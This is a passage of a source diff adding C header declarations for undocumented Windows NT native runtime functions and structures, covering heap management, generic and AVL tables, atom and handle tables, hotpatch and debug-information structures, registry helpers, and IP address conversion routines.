+ VmCfgCallTargetInformation +} VIRTUAL_MEMORY_INFORMATION_CLASS; + +typedef struct _VM_INFORMATION +{ + DWORD dwNumberOfOffsets; + PULONG plOutput; + PCFG_CALL_TARGET_INFO ptOffsets; + PVOID pMustBeZero; + PVOID pMoarZero; +} VM_INFORMATION, * PVM_INFORMATION; + +typedef struct _MEMORY_RANGE_ENTRY +{ + PVOID VirtualAddress; + SIZE_T NumberOfBytes; +} MEMORY_RANGE_ENTRY, *PMEMORY_RANGE_ENTRY; + +typedef struct _RTL_PROCESS_LOCKS { + ULONG NumberOfLocks; + RTL_PROCESS_LOCK_INFORMATION Locks[ 1 ]; +} RTL_PROCESS_LOCKS, *PRTL_PROCESS_LOCKS; + +#define MAX_STACK_DEPTH 32 + +typedef struct _RTL_PROCESS_BACKTRACE_INFORMATION { + PCHAR SymbolicBackTrace; + ULONG TraceCount; + USHORT Index; + USHORT Depth; + PVOID BackTrace[ MAX_STACK_DEPTH ]; +} RTL_PROCESS_BACKTRACE_INFORMATION, *PRTL_PROCESS_BACKTRACE_INFORMATION; + +typedef struct _RTL_PROCESS_BACKTRACES { + ULONG CommittedMemory; + ULONG ReservedMemory; + ULONG NumberOfBackTraceLookups; + ULONG NumberOfBackTraces; + RTL_PROCESS_BACKTRACE_INFORMATION BackTraces[ 1 ]; +} RTL_PROCESS_BACKTRACES, *PRTL_PROCESS_BACKTRACES; + +typedef struct _RTL_DEBUG_INFORMATION +{ + HANDLE SectionHandleClient; + PVOID ViewBaseClient; + PVOID ViewBaseTarget; + ULONG_PTR ViewBaseDelta; + HANDLE EventPairClient; + HANDLE EventPairTarget; + HANDLE TargetProcessId; + HANDLE TargetThreadHandle; + ULONG Flags; + SIZE_T OffsetFree; + SIZE_T CommitSize; + SIZE_T ViewSize; + union + { + PRTL_PROCESS_MODULES Modules; + PRTL_PROCESS_MODULE_INFORMATION_EX *ModulesEx; + }; + PRTL_PROCESS_BACKTRACES BackTraces; + PRTL_PROCESS_HEAPS Heaps; + PRTL_PROCESS_LOCKS Locks; + PVOID SpecificHeap; + HANDLE TargetProcessHandle; + PRTL_PROCESS_VERIFIER_OPTIONS VerifierOptions; + PVOID ProcessHeap; + HANDLE CriticalSectionHandle; + HANDLE CriticalSectionOwnerThread; + PVOID Reserved[4]; +} RTL_DEBUG_INFORMATION, *PRTL_DEBUG_INFORMATION; + +//added 21/03/2011 +//end + + +// added: 22/04/2011 - RtlStream +typedef struct _RTL_MEMORY_STREAM_DATA *PRTL_MEMORY_STREAM_DATA; +typedef struct _RTL_MEMORY_STREAM_WITH_VTABLE *PRTL_MEMORY_STREAM_WITH_VTABLE; +typedef struct _RTL_OUT_OF_PROCESS_MEMORY_STREAM_DATA *PRTL_OUT_OF_PROCESS_MEMORY_STREAM_DATA; + +HRESULT +NTAPI +RtlReleaseMemoryStream( + PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream + ); + +HRESULT +NTAPI +RtlSetMemoryStreamSize( + PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream, + ULARGE_INTEGER ULargeInteger + ); + +HRESULT +NTAPI +RtlCommitMemoryStream( + PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream, + ULONG NewStream + ); + +HRESULT +NTAPI +RtlRevertMemoryStream( + PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream + ); + +NTSTATUS +NTAPI +RtlCopySecurityDescriptor( + PSECURITY_DESCRIPTOR SourceDescriptor, + PSECURITY_DESCRIPTOR DestinationDescriptor + ); + + +typedef struct _RTL_HANDLE_TABLE_ENTRY +{ + union + { + ULONG Flags; + struct _RTL_HANDLE_TABLE_ENTRY *NextFree; + }; +} RTL_HANDLE_TABLE_ENTRY, *PRTL_HANDLE_TABLE_ENTRY; + +#define RTL_HANDLE_ALLOCATED (USHORT)0x0001 + +typedef struct _RTL_HANDLE_TABLE +{ + ULONG MaximumNumberOfHandles; + ULONG SizeOfHandleTableEntry; + ULONG Reserved[2]; + PRTL_HANDLE_TABLE_ENTRY FreeHandles; + PRTL_HANDLE_TABLE_ENTRY CommittedHandles; + PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles; + PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles; +} RTL_HANDLE_TABLE, *PRTL_HANDLE_TABLE; + +#if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef struct _JOB_SET_ARRAY { + HANDLE JobHandle; // Handle to job object to insert + DWORD MemberLevel; // Level of this job in the set. Must be > 0. Can be sparse. + DWORD Flags; // Unused. Must be zero +} JOB_SET_ARRAY, *PJOB_SET_ARRAY; +#endif + +VOID +NTAPI +RtlInitializeHandleTable( + _In_ ULONG MaximumNumberOfHandles, + _In_ ULONG SizeOfHandleTableEntry, + _Out_ PRTL_HANDLE_TABLE HandleTable + ); + +NTSTATUS +NTAPI +RtlDestroyHandleTable( + _In_ _Out_ PRTL_HANDLE_TABLE HandleTable + ); + +PRTL_HANDLE_TABLE_ENTRY +NTAPI +RtlAllocateHandle( + _In_ PRTL_HANDLE_TABLE HandleTable, + _Out_ OPTIONAL PULONG HandleIndex + ); + +BOOLEAN +NTAPI +RtlFreeHandle( + _In_ PRTL_HANDLE_TABLE HandleTable, + _In_ PRTL_HANDLE_TABLE_ENTRY Handle + ); + +BOOLEAN +NTAPI +RtlIsValidHandle( + _In_ PRTL_HANDLE_TABLE HandleTable, + _In_ PRTL_HANDLE_TABLE_ENTRY Handle + ); + +BOOLEAN +NTAPI +RtlIsValidIndexHandle( + _In_ PRTL_HANDLE_TABLE HandleTable, + _In_ ULONG HandleIndex, + _Out_ PRTL_HANDLE_TABLE_ENTRY *Handle + ); + +#define RTL_ATOM_MAXIMUM_INTEGER_ATOM (RTL_ATOM)0xc000 +#define RTL_ATOM_INVALID_ATOM (RTL_ATOM)0x0000 +#define RTL_ATOM_TABLE_DEFAULT_NUMBER_OF_BUCKETS 37 +#define RTL_ATOM_MAXIMUM_NAME_LENGTH 255 +#define RTL_ATOM_PINNED 0x01 + +NTSTATUS +NTAPI +RtlCreateAtomTable( + _In_ ULONG NumberOfBuckets, + _Out_ PVOID *AtomTableHandle + ); + +NTSTATUS +NTAPI +RtlDestroyAtomTable( + _In_ PVOID AtomTableHandle + ); + +NTSTATUS +NTAPI +RtlEmptyAtomTable( + _In_ PVOID AtomTableHandle, + _In_ BOOLEAN IncludePinnedAtoms + ); + +NTSTATUS +NTAPI +RtlAddAtomToAtomTable( + _In_ PVOID AtomTableHandle, + _In_ PWSTR AtomName, + _In_ _Out_ OPTIONAL PRTL_ATOM Atom + ); + +NTSTATUS +NTAPI +RtlLookupAtomInAtomTable( + _In_ PVOID AtomTableHandle, + _In_ PWSTR AtomName, + _Out_ OPTIONAL PRTL_ATOM Atom + ); + +NTSTATUS +NTAPI +RtlDeleteAtomFromAtomTable( + _In_ PVOID AtomTableHandle, + _In_ RTL_ATOM Atom + ); + +NTSTATUS +NTAPI +RtlPinAtomInAtomTable( + _In_ PVOID AtomTableHandle, + _In_ RTL_ATOM Atom + ); + +NTSTATUS +NTAPI +RtlQueryAtomInAtomTable( + _In_ PVOID AtomTableHandle, + _In_ RTL_ATOM Atom, + _Out_ OPTIONAL PULONG AtomUsage, + _Out_ OPTIONAL PULONG AtomFlags, + _In_ _Out_ PWSTR AtomName, + _In_ _Out_ OPTIONAL PULONG AtomNameLength + ); + +NTSTATUS +NTAPI +RtlQueryAtomsInAtomTable( + _In_ PVOID AtomTableHandle, + _In_ ULONG MaximumNumberOfAtoms, + _Out_ PULONG NumberOfAtoms, + _Out_ PRTL_ATOM Atoms + ); + +BOOLEAN +NTAPI +RtlGetIntegerAtom( + _In_ PWSTR AtomName, + _Out_ OPTIONAL PUSHORT IntegerAtom + ); + +#define EVENT_MIN_LEVEL (0) +#define EVENT_MAX_LEVEL (0xff) + +#define EVENT_ACTIVITY_CTRL_GET_ID (1) +#define EVENT_ACTIVITY_CTRL_SET_ID (2) +#define EVENT_ACTIVITY_CTRL_CREATE_ID (3) +#define EVENT_ACTIVITY_CTRL_GET_SET_ID (4) +#define EVENT_ACTIVITY_CTRL_CREATE_SET_ID (5) + + typedef ULONGLONG REGHANDLE, *PREGHANDLE; + +#define MAX_EVENT_DATA_DESCRIPTORS (128) +#define MAX_EVENT_FILTER_DATA_SIZE (1024) + + // + // EVENT_DATA_DESCRIPTOR is used to pass in user data items + // in events. + // + + typedef struct _EVENT_DATA_DESCRIPTOR + { + ULONG_PTR Ptr; // Pointer to data + ULONG Size; // Size of data in bytes + ULONG Reserved; + } EVENT_DATA_DESCRIPTOR, *PEVENT_DATA_DESCRIPTOR; + + typedef struct _EVENT_DESCRIPTOR + { + USHORT Id; + UCHAR Version; + UCHAR Channel; + UCHAR Level; + UCHAR Opcode; + USHORT Task; + ULONGLONG Keyword; + } EVENT_DESCRIPTOR, *PEVENT_DESCRIPTOR; + typedef const EVENT_DESCRIPTOR *PCEVENT_DESCRIPTOR; + + // + // EVENT_FILTER_DESCRIPTOR is used to pass in enable filter + // data item to a user callback function. + // + typedef struct _EVENT_FILTER_DESCRIPTOR + { + ULONG_PTR Ptr; + ULONG Size; + ULONG Type; + } EVENT_FILTER_DESCRIPTOR, *PEVENT_FILTER_DESCRIPTOR; + +// +// old nt4 channel stuff +// +//#pragma pack(1) +#pragma pack() +typedef struct _CHANNEL_MESSAGE +{ + PVOID Text; + ULONG Length; + PVOID Context; + PVOID Base; + union + { + BOOLEAN Close; + LONGLONG Align; + }; +} CHANNEL_MESSAGE, *PCHANNEL_MESSAGE; + +typedef struct _HOTPATCH_HEADER +{ + ULONG Signature; + ULONG Version; + ULONG FixupRgnCount; + ULONG FixupRgnRva; + ULONG ValidationCount; + ULONG ValidationArrayRva; + ULONG HookCount; + ULONG HookArrayRva; + ULONG_PTR OrigHotpBaseAddress; + ULONG_PTR OrigTargetBaseAddress; + ULONG TargetNameRva; + ULONG ModuleIdMethod; + union { + ULONG Filler; + } TargetModuleIdValue; +} HOTPATCH_HEADER, *PHOTPATCH_HEADER; + +typedef struct _HOTPATCH_MODULE_DATA +{ + USHORT HotpatchImageNameLength; + USHORT ColdpatchImagePathLength; + WCHAR NameBuffer[ 1 ]; +} HOTPATCH_MODULE_DATA, *PHOTPATCH_MODULE_DATA; + +typedef struct _HOTPATCH_MODULE_ENTRY +{ + struct _TRIPLE_LIST_ENTRY ListEntry; + struct _HOTPATCH_MODULE_DATA Data; +} HOTPATCH_MODULE_ENTRY, *PHOTPATCH_MODULE_ENTRY; + +typedef struct _HOTPATCH_HOOK +{ + USHORT HookType; + USHORT HookOptions; + ULONG HookRva; + ULONG HotpRva; + ULONG ValidationRva; +} HOTPATCH_HOOK, *PHOTPATCH_HOOK; + +typedef struct _RTL_PATCH_HEADER +{ + LIST_ENTRY PatchList; + PVOID PatchImageBase; + struct _RTL_PATCH_HEADER* NextPatch; + ULONG PatchFlags; + LONG PatchRefCount; + struct _HOTPATCH_HEADER* HotpatchHeader; + UNICODE_STRING TargetDllName; + HANDLE TargetDllBase; + PLDR_DATA_TABLE_ENTRY TargetLdrDataTableEntry; + PLDR_DATA_TABLE_ENTRY PatchLdrDataTableEntry; + PSYSTEM_HOTPATCH_CODE_INFORMATION CodeInfo; + PVOID ColdpatchFileHandle; + HOTPATCH_MODULE_ENTRY HotpatchModuleEntry; +} RTL_PATCH_HEADER, *PRTL_PATCH_HEADER; + + + +#pragma warning(default: 4273) // nconsistent dll linkage (winnt.h) + +#ifndef _SLIST_HEADER_ +#define _SLIST_HEADER_ + +#if defined(_M_X64) + +// +// The type SINGLE_LIST_ENTRY is not suitable for use with SLISTs. For +// WIN64, an entry on an SLIST is required to be 16-byte aligned, while a +// SINGLE_LIST_ENTRY structure has only 8 byte alignment. +// +// Therefore, all SLIST code should use the SLIST_ENTRY type instead of the +// SINGLE_LIST_ENTRY type. +// + +#pragma warning(push) +#pragma warning(disable:4324) // structure padded due to align() +typedef struct DECLSPEC_ALIGN(16) _SLIST_ENTRY *PSLIST_ENTRY; +typedef struct DECLSPEC_ALIGN(16) _SLIST_ENTRY { + PSLIST_ENTRY Next; +} SLIST_ENTRY; +#pragma warning(pop) + +#else + +#define SLIST_ENTRY SINGLE_LIST_ENTRY +#define _SLIST_ENTRY _SINGLE_LIST_ENTRY +#define PSLIST_ENTRY PSINGLE_LIST_ENTRY + +#endif + +#if defined(_M_X64) + +typedef struct DECLSPEC_ALIGN(16) _SLIST_HEADER { + ULONGLONG Alignment; + ULONGLONG Region; +} SLIST_HEADER; + +typedef struct _SLIST_HEADER *PSLIST_HEADER; + +#else + +typedef union _SLIST_HEADER { + ULONGLONG Alignment; + struct { + SLIST_ENTRY Next; + WORD Depth; + WORD Sequence; + }; +} SLIST_HEADER, *PSLIST_HEADER; + +#endif + +#endif + +// +// prototypes *must* be encapsulated with extern "C" macros at start and end of prototype block +// + +PSLIST_ENTRY +__fastcall +RtlInterlockedPushListSList ( + _In_ PSLIST_HEADER ListHead, + _In_ PSLIST_ENTRY List, + _In_ PSLIST_ENTRY ListEnd, + _In_ ULONG Count + ); + +VOID +NTAPI +RtlAssert( + _In_ PVOID VoidFailedAssertion, + _In_ PVOID VoidFileName, + _In_ ULONG LineNumber, + _In_ OPTIONAL PSTR MutableMessage + ); + +VOID +NTAPI +RtlInitializeGenericTableAvl ( + PRTL_AVL_TABLE Table, + PRTL_AVL_COMPARE_ROUTINE CompareRoutine, + PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine, + PRTL_AVL_FREE_ROUTINE FreeRoutine, + PVOID TableContext + ); + +PVOID +NTAPI +RtlInsertElementGenericTableAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer, + ULONG BufferSize, + PBOOLEAN NewElement OPTIONAL + ); + +PVOID +NTAPI +RtlInsertElementGenericTableFullAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer, + ULONG BufferSize, + PBOOLEAN NewElement OPTIONAL, + PVOID NodeOrParent, + TABLE_SEARCH_RESULT SearchResult + ); + +BOOLEAN +NTAPI +RtlDeleteElementGenericTableAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer + ); + +PVOID +NTAPI +RtlLookupElementGenericTableAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer + ); + +PVOID +NTAPI +RtlLookupElementGenericTableFullAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer, + _Out_ PVOID *NodeOrParent, + _Out_ TABLE_SEARCH_RESULT *SearchResult + ); + +PVOID +NTAPI +RtlEnumerateGenericTableAvl ( + PRTL_AVL_TABLE Table, + BOOLEAN Restart + ); + +PVOID +NTAPI +RtlEnumerateGenericTableWithoutSplayingAvl ( + PRTL_AVL_TABLE Table, + PVOID *RestartKey + ); + +PVOID +NTAPI +RtlEnumerateGenericTableLikeADirectory ( + _In_ PRTL_AVL_TABLE Table, + _In_ PRTL_AVL_MATCH_FUNCTION MatchFunction, + _In_ PVOID MatchData, + _In_ ULONG NextFlag, + _In_ _Out_ PVOID *RestartKey, + _In_ _Out_ PULONG DeleteCount, + _In_ _Out_ PVOID Buffer + ); + +PVOID +NTAPI +RtlGetElementGenericTableAvl ( + PRTL_AVL_TABLE Table, + ULONG I + ); + +ULONG +NTAPI +RtlNumberGenericTableElementsAvl ( + PRTL_AVL_TABLE Table + ); + +BOOLEAN +NTAPI +RtlIsGenericTableEmptyAvl ( + PRTL_AVL_TABLE Table + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlSplay ( + PRTL_SPLAY_LINKS Links + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlDelete ( + PRTL_SPLAY_LINKS Links + ); + +VOID +NTAPI +RtlDeleteNoSplay ( + PRTL_SPLAY_LINKS Links, + PRTL_SPLAY_LINKS *Root + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlSubtreeSuccessor ( + PRTL_SPLAY_LINKS Links + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlSubtreePredecessor ( + PRTL_SPLAY_LINKS Links + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlRealSuccessor ( + PRTL_SPLAY_LINKS Links + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlRealPredecessor ( + PRTL_SPLAY_LINKS Links + ); + +VOID +NTAPI +RtlInitializeGenericTable ( + PRTL_GENERIC_TABLE Table, + PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine, + PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine, + PRTL_GENERIC_FREE_ROUTINE FreeRoutine, + PVOID TableContext + ); + +PVOID +NTAPI +RtlInsertElementGenericTable ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer, + ULONG BufferSize, + PBOOLEAN NewElement OPTIONAL + ); + +PVOID +NTAPI +RtlInsertElementGenericTableFull ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer, + ULONG BufferSize, + PBOOLEAN NewElement OPTIONAL, + PVOID NodeOrParent, + TABLE_SEARCH_RESULT SearchResult + ); + +BOOLEAN +NTAPI +RtlDeleteElementGenericTable ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer + ); + +PVOID +NTAPI +RtlLookupElementGenericTable ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer + ); + +PVOID +NTAPI +RtlLookupElementGenericTableFull ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer, + _Out_ PVOID *NodeOrParent, + _Out_ TABLE_SEARCH_RESULT *SearchResult + ); + +PVOID +NTAPI +RtlEnumerateGenericTable ( + PRTL_GENERIC_TABLE Table, + BOOLEAN Restart + ); + +PVOID +NTAPI +RtlEnumerateGenericTableWithoutSplaying ( + PRTL_GENERIC_TABLE Table, + PVOID *RestartKey + ); + +PVOID +NTAPI +RtlGetElementGenericTable( + PRTL_GENERIC_TABLE Table, + ULONG I + ); + +ULONG +NTAPI +RtlNumberGenericTableElements( + PRTL_GENERIC_TABLE Table + ); + +BOOLEAN +NTAPI +RtlIsGenericTableEmpty ( + PRTL_GENERIC_TABLE Table + ); + +NTSTATUS +NTAPI +RtlInitializeHeapManager( + ); + +PVOID +NTAPI +RtlCreateHeap( + _In_ ULONG Flags, + _In_ PVOID HeapBase OPTIONAL, + _In_ SIZE_T ReserveSize OPTIONAL, + _In_ SIZE_T CommitSize OPTIONAL, + _In_ PVOID Lock OPTIONAL, + _In_ PRTL_HEAP_PARAMETERS Parameters OPTIONAL + ); + +PVOID +NTAPI +RtlDestroyHeap( + _In_ PVOID HeapHandle + ); + +PVOID +NTAPI +RtlAllocateHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ SIZE_T Size + ); + +BOOLEAN +NTAPI +RtlFreeHeap( + _In_ PVOID HeapHandle, + _In_ OPTIONAL ULONG Flags, + _In_ PVOID BaseAddress + ); + +SIZE_T +NTAPI +RtlSizeHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress + ); + +NTSTATUS +NTAPI +RtlZeroHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags + ); + +VOID +NTAPI +RtlProtectHeap( + _In_ PVOID HeapHandle, + _In_ BOOLEAN MakeReadOnly + ); + +ULONG +NTAPI +RtlGetNtGlobalFlags( + VOID + ); + +ULONG +NTAPI +RtlRandomEx( + PULONG Seed +); + +VOID +NTAPI +RtlGetCallersAddress( + _Out_ PVOID *CallersAddress, + _Out_ PVOID *CallersCaller + ); + +ULONG +NTAPI +RtlWalkFrameChain ( + _Out_ PVOID *Callers, + _In_ ULONG Count, + _In_ ULONG Flags + ); + +USHORT +NTAPI +RtlLogStackBackTrace( + VOID + ); + + +ULONG +NTAPI +RtlCaptureStackContext ( + _Out_ PULONG_PTR Callers, + _Out_ PRTL_STACK_CONTEXT Context, + _In_ ULONG Limit + ); + +BOOLEAN +NTAPI +RtlGetNtProductType( + PNT_PRODUCT_TYPE NtProductType + ); + +NTSTATUS +NTAPI +RtlFormatCurrentUserKeyPath ( + _Out_ PUNICODE_STRING CurrentUserKeyPath + ); + +NTSTATUS +NTAPI +RtlOpenCurrentUser( + _In_ ULONG DesiredAccess, + _Out_ PHANDLE CurrentUserKey + ); + +NTSTATUS +NTAPI +RtlQueryRegistryValues( + _In_ ULONG RelativeTo, + _In_ PCWSTR Path, + _In_ PRTL_QUERY_REGISTRY_TABLE QueryTable, + _In_ PVOID Context, + _In_ PVOID Environment OPTIONAL + ); + +NTSTATUS +NTAPI +RtlWriteRegistryValue( + _In_ ULONG RelativeTo, + _In_ PCWSTR Path, + _In_ PCWSTR ValueName, + _In_ ULONG ValueType, + _In_ PVOID ValueData, + _In_ ULONG ValueLength + ); + +NTSTATUS +NTAPI +RtlDeleteRegistryValue( + _In_ ULONG RelativeTo, + _In_ PCWSTR Path, + _In_ PCWSTR ValueName + ); + +NTSTATUS +NTAPI +RtlCreateRegistryKey( + _In_ ULONG RelativeTo, + _In_ PWSTR Path + ); + +NTSTATUS +NTAPI +RtlCheckRegistryKey( + _In_ ULONG RelativeTo, + _In_ PWSTR Path + ); + +//added 21/03/2011 +//begin +BOOLEAN +NTAPI +RtlLockHeap( + _In_ PVOID HeapHandle + ); + + +BOOLEAN +NTAPI +RtlUnlockHeap( + _In_ PVOID HeapHandle + ); + + +PVOID +NTAPI +RtlReAllocateHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _In_ SIZE_T Size + ); + + +BOOLEAN +NTAPI +RtlGetUserInfoHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _Out_ OPTIONAL PVOID *UserValue, + _Out_ OPTIONAL PULONG UserFlags + ); + + +BOOLEAN +NTAPI +RtlSetUserValueHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _In_ PVOID UserValue + ); + + +BOOLEAN +NTAPI +RtlSetUserFlagsHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _In_ ULONG UserFlagsReset, + _In_ ULONG UserFlagsSet + ); + + +ULONG +NTAPI +RtlCreateTagHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ OPTIONAL PWSTR TagPrefix, + _In_ PWSTR TagNames + ); + + +PWSTR +NTAPI +RtlQueryTagHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ USHORT TagIndex, + _In_ BOOLEAN ResetCounters, + _Out_ OPTIONAL PRTL_HEAP_TAG_INFO TagInfo + ); + + +NTSTATUS +NTAPI +RtlExtendHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID Base, + _In_ SIZE_T Size + ); + + +SIZE_T +NTAPI +RtlCompactHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags + ); + + +BOOLEAN +NTAPI +RtlValidateProcessHeaps( + ); + +ULONG +NTAPI +RtlGetProcessHeaps( + _In_ ULONG NumberOfHeaps, + _Out_ PVOID *ProcessHeaps + ); + + +NTSTATUS +NTAPI +RtlUsageHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ _Out_ PRTL_HEAP_USAGE Usage + ); + + +NTSTATUS +NTAPI +RtlWalkHeap( + _In_ PVOID HeapHandle, + _In_ _Out_ PRTL_HEAP_WALK_ENTRY Entry + ); + +#if !defined(_WINDOWS_) +NTSTATUS +NTAPI +RtlQueryHeapInformation( + _In_ PVOID HeapHandle, + _In_ HEAP_INFORMATION_CLASS HeapInformationClass, + _Out_ OPTIONAL PVOID HeapInformation, + _In_ OPTIONAL SIZE_T HeapInformationLength, + _Out_ OPTIONAL PSIZE_T ReturnLength + ); + +NTSTATUS +NTAPI +RtlSetHeapInformation( + _In_ PVOID HeapHandle, + _In_ HEAP_INFORMATION_CLASS HeapInformationClass, + _In_ OPTIONAL PVOID HeapInformation, + _In_ OPTIONAL SIZE_T HeapInformationLength + ); +#endif + +ULONG +NTAPI +RtlMultipleAllocateHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ SIZE_T Size, + _In_ ULONG Count, + _Out_ PVOID *Array + ); + +ULONG +NTAPI +RtlMultipleFreeHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ ULONG Count, + _In_ PVOID *Array + ); + +VOID +NTAPI +RtlDetectHeapLeaks( + VOID + ); + + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSTATUS +NTAPI +RtlCreateMemoryZone( + _Out_ PVOID *MemoryZone, + _In_ SIZE_T InitialSize, + ULONG Flags + ); + +NTSTATUS +NTAPI +RtlDestroyMemoryZone( + _In_ PVOID MemoryZone + ); + +NTSTATUS +NTAPI +RtlAllocateMemoryZone( + _In_ PVOID MemoryZone, + _In_ SIZE_T BlockSize, + _Out_ PVOID *Block + ); + +NTSTATUS +NTAPI +RtlResetMemoryZone( + _In_ PVOID MemoryZone + ); + +NTSTATUS +NTAPI +RtlLockMemoryZone( + _In_ PVOID MemoryZone + ); + +NTSTATUS +NTAPI +RtlUnlockMemoryZone( + _In_ PVOID MemoryZone + ); +#endif + + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSTATUS +NTAPI +RtlCreateMemoryBlockLookaside( + _Out_ PVOID *MemoryBlockLookaside, + _In_ ULONG Flags, + _In_ ULONG InitialSize, + _In_ ULONG MinimumBlockSize, + _In_ ULONG MaximumBlockSize + ); + +NTSTATUS +NTAPI +RtlDestroyMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside + ); + +NTSTATUS +NTAPI +RtlAllocateMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside, + _In_ ULONG BlockSize, + _Out_ PVOID *Block + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlFreeMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside, + _In_ PVOID Block + ); + +NTSTATUS +NTAPI +RtlExtendMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside, + _In_ ULONG Increment + ); + +NTSTATUS +NTAPI +RtlResetMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside + ); + +NTSTATUS +NTAPI +RtlLockMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside + ); + +NTSTATUS +NTAPI +RtlUnlockMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside + ); +#endif + +HANDLE +NTAPI +RtlGetCurrentTransaction( + ); + +LOGICAL +NTAPI +RtlSetCurrentTransaction( + _In_ HANDLE TransactionHandle + ); + +PRTL_DEBUG_INFORMATION +NTAPI +RtlCreateQueryDebugBuffer( + _In_ OPTIONAL ULONG MaximumCommit, + _In_ BOOLEAN UseEventPair + ); + +NTSTATUS +NTAPI +RtlDestroyQueryDebugBuffer( + _In_ PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessDebugInformation( + _In_ HANDLE UniqueProcessId, + _In_ ULONG Flags, + _In_ _Out_ PRTL_DEBUG_INFORMATION Buffer + ); + + +//added 21/03/2011 +//end + +ULONG +NTAPI +RtlUniform ( + PULONG Seed + ); + +NTSTATUS +RtlComputeImportTableHash( + _In_ HANDLE hFile, + _Out_ PCHAR Hash, + _In_ ULONG ImportTableHashRevision + ); + +NTSTATUS +NTAPI +RtlIntegerToChar ( + ULONG Value, + ULONG Base, + LONG OutputLength, + PSZ String + ); + +NTSTATUS +NTAPI +RtlIntegerToUnicode ( + _In_ ULONG Value, + _In_ ULONG Base OPTIONAL, + _In_ LONG OutputLength, + _Out_ PWSTR String + ); + +NTSTATUS +NTAPI +RtlLargeIntegerToChar ( + PLARGE_INTEGER Value, + ULONG Base OPTIONAL, + LONG OutputLength, + PSZ String + ); + +NTSTATUS +NTAPI +RtlLargeIntegerToUnicode ( + _In_ PLARGE_INTEGER Value, + _In_ ULONG Base OPTIONAL, + _In_ LONG OutputLength, + _Out_ PWSTR String + ); + +PSTR +NTAPI +RtlIpv4AddressToStringA ( + _In_ const struct in_addr *Addr, + _Out_ PSTR S + ); + +PSTR +NTAPI +RtlIpv6AddressToStringA ( + _In_ const struct in6_addr *Addr, + _Out_ PSTR S + ); + +NTSTATUS +NTAPI +RtlIpv4AddressToStringExA( + _In_ const struct in_addr *Address, + _In_ USHORT Port, + _Out_ PSTR AddressString, + _In_ _Out_ PULONG AddressStringLength + ); + +NTSTATUS +NTAPI +RtlIpv6AddressToStringExA( + _In_ const struct in6_addr *Address, + _In_ ULONG ScopeId, + _In_ USHORT Port, + _Out_ PSTR AddressString, + _In_ _Out_ PULONG AddressStringLength + ); + +PWSTR +NTAPI +RtlIpv4AddressToStringW ( + _In_ const struct in_addr *Addr, + _Out_ PWSTR S + ); + +PWSTR +NTAPI +RtlIpv6AddressToStringW ( + _In_ const struct in6_addr *Addr, + _Out_ PWSTR S + ); + +NTSTATUS +NTAPI +RtlIpv4AddressToStringExW( + _In_ const struct in_addr *Address, + _In_ USHORT Port, + _Out_ PWSTR AddressString, + _In_ _Out_ PULONG AddressStringLength + ); + +NTSTATUS +NTAPI +RtlIpv6AddressToStringExW( + _In_ const struct in6_addr *Address, + _In_ ULONG ScopeId, + _In_ USHORT Port, + _Out_ PWSTR AddressString, + _In_ _Out_ PULONG AddressStringLength + ); + +NTSTATUS +NTAPI +RtlIpv4StringToAddressA ( + _In_ PCSTR S, + _In_ BOOLEAN Strict, + _Out_ PCSTR *Terminator, + _Out_ struct in_addr *Addr + ); + +NTSTATUS +NTAPI +RtlIpv6StringToAddressA ( + _In_ PCSTR S, + _Out_ PCSTR *Terminator, + _Out_ struct in6_addr *Addr + ); + +NTSTATUS +NTAPI +RtlIpv4StringToAddressExA ( + _In_ PCSTR AddressString, + _In_ BOOLEAN Strict, + _Out_ struct in_addr *Address, + _Out_ PUSHORT Port + ); + +NTSTATUS +NTAPI 